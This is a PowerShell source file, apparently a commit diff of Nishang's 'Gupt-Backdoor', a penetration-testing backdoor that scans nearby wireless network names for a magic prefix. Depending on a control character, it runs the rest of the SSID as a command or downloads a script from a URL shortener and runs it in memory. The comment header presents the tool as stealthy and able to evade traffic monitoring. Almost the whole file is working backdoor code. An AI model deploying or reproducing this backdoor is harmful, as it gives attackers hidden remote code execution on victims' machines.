1+ <#
2+ . SYNOPSIS
3+ Gupt is a backdoor in Nishang which could execute commands and scripts from specially crafted Wireless Network Names.
4+
5+ . DESCRIPTION
6+ Gupt looks for a specially crafted Wireless Network Name/SSID from list of all avaliable networks. It matches first four characters of
7+ each SSID with the parameter MagicString. On a match, if the 5th character is a 'c', rest of the SSID name is considered to be a command and
8+ exeucted. If the 5th character is a 'u', rest of the SSID is considered the id part of Google URL Shortener and a script is downloaded and
9+ executed in memory from the URL. See examples for usage.
10+
11+ Gupt does not connect to any Wireless network and this makes it more stealthy and helps in bypassing network traffic monitoring.
12+
13+ . PARAMETER MagicString
14+ The string which Gupt would compare with the available SSIDs.
15+
16+ . PARAMETER Arguments
17+ Arguments to pass to a downloaded script.
18+
19+ . EXAMPLE
20+ PS > Gupt-Backdoor -MagicString op3n -Verbose
21+ In above, Gupt will look for an SSID starting with "op3n". To execute whoami on the target, the wireless network name should be "op3ncwhoami".
22+
23+ PS > Gupt-Backdoor -MagicString op3n -Verbose
24+ In above, Gupt will look for an SSID starting with "op3n". To execute a powershell script on the target, the wireless network name should be
25+ "op3nunJEuug". Here, Gupt will use of characters after the 5th one and make the URL http://goo.gl/nJEuug. A script hosted at the URL resolved
26+ by the Google shortener would be downloaded and executed.
27+
28+ . LINK
29+ http://www.labofapenetrationtester.com/2014/08/Introducing-Gupt.html
30+ https://github.com/samratashok/nishang
31+ #>
32+
33+ function Gupt-Backdoor
34+ {
35+ [CmdletBinding ()] Param (
36+
37+ [Parameter (Position = 0 , Mandatory = $True )]
38+ [String ]
39+ $MagicString ,
40+
41+ [Parameter (Position = 3 , Mandatory = $False )]
42+ [String ]
43+ $Arguments
44+
45+ )
46+ # Get list of available Wlan networks
47+ while ($True )
48+ {
49+ Write-Verbose " Checking wireless networks for instructions."
50+ $networks = Invoke-Expression " netsh wlan show network"
51+ $ssid = $networks | Select-String " SSID"
52+ $NetworkNames = $ssid -replace " .*:" -replace " "
53+ ForEach ($network in $NetworkNames )
54+ {
55+ # Check if the first four characters of our SSID matches the given MagicString
56+ if ($network.Substring (0 , 4 ) -match $MagicString.Substring (0 , 4 ))
57+ {
58+ Write-Verbose " Found a network with instructions!"
59+ # If the netowrk SSID contains fifth chracter "u", it means rest of the SSID is a URL
60+ if ($network.Substring (4 )[0 ] -eq " u" )
61+ {
62+ Write-Verbose " Downloading the attack script and executing it in memory."
63+ $PayloadURL = " http://goo.gl/" + $network.Substring (5 )
64+ $webclient = New-Object System.Net.WebClient
65+ Invoke-Expression $webclient.DownloadString ($PayloadURL )
66+ if ($Arguments )
67+ {
68+ Invoke-Expression $Arguments
69+ }
70+ Start-Sleep - Seconds 10
71+ }
72+ elseif ($network.Substring (4 )[0 ] -eq " c" )
73+ {
74+ $cmd = $network.Substring (5 )
75+ if ($cmd -eq " exit" )
76+ {
77+ break
78+ }
79+ Write-Verbose " Command `" $cmd `" found. Executing it."
80+ Invoke-Expression $cmd
81+ Start-Sleep - Seconds 10
82+ }
83+ }
84+ }
85+ Start-Sleep - Seconds 5
86+ }
87+ }
0 commit comments